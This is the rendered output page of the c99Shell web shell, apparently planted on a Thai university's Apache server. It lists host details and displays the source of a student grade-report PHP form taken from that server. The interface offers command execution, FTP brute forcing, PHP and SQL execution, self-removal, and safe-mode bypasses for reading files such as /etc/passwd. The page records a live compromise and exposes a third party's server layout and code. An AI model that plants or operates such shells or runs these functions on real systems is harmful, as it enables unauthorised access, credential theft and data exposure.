!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchRepRis112.php (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="JavaScript">
function disable(disableIt)
{
    if(disableIt) {
        document.myform.curId.disabled = true;
        document.myform.syId.disabled = true;
        document.myform.stdCode.disabled = false;
        //document.myform.action = "repRis112.php";
    }
    else {
        document.myform.curId.disabled = false;
        document.myform.syId.disabled = false;
        document.myform.stdCode.disabled = true;
        //document.myform.action = "repRis112Pg.php";
    }
}
</script>
<?php
function setValue($fieldName$rw$v='') {
    if ( 
set_value($fieldName) <> ''
        
$v set_value($fieldName);
    elseif ( !
is_null($rw) ) 
        
$v = @$rw->$fieldName
    return 
$v;
}
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <div align="center"><br>
            <?php echo form_open($this->config->item("rg_folder")."rpt_misc/search_repRis112", array("name" => "myform""id" => "myform"));?>
            <table width="90%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td colspan="2"><br /></td>
                </tr>
                <tr>
                    <td colspan="2" align="center"><font size="3" color="<?php echo $font_color_err;?>"><b>รายงานผลการเรียนนักศึกษาแจ้งผู้ปกครอง</b></font></td>
                </tr>
                <tr>
                    <td colspan="2"><br /></td>
                </tr>
                <tr>
                    <td width="35%"><font size="2"><b>ปีการศึกษา</b></font></td>
                    <td width="65%"><input type="text" name="acY" id="acY" value="<?php echo $acY;?>" size="4" maxlength="4" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;" /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td><font size="2"><b>ภาคการศึกษา</b></font></td>
                    <td>
<?php 
                        
echo form_dropdown('tmId'$rs_tmsetValue('tmId'$rs_tm));
?>
                    </font></td>
                </tr>
                <tr>
                    <td ><font size="2"><b>หลักสูตร</b></font></td>
                    <td>
<?php
                        
echo form_dropdown('curId'$rs_cursetValue('curId'$rs_cur));
?>
                    </td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td><font size="2"><b>ชั้นปี</b></font></td>
                    <td><input type="text" name="syId" id="syId" size="1" maxlength="2" onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;" /></td>
                </tr>
                <tr>
                    <td colspan="3"><input type="checkbox" name="typeStd" id="typeStd" value="Y" onclick="disable(this.checked)" />
                    <font size="2"><b>รายนักศึกษา</b></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td><font size="2"><b>รหัสนักศึกษา</b></font></td>
                    <td><input type="text" name="stdCode" id="stdCode" size="10" maxlength="10" disabled onKeyPress="if(event.keyCode < 48 || event.keyCode > 57) return false;" /></td>
                </tr>                        
                <tr>
                    <td align="center" colspan="3"><br><input type="submit" name="add" id="add" value="ตกลง" />
                    <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                    </td>
                </tr>
            </table><?php echo form_close();?></div>
        </fieldset><br><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ : </b>สามารถพิมพ์รายงานรายหลักสูตร หรือ รายนักศึกษาได้</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--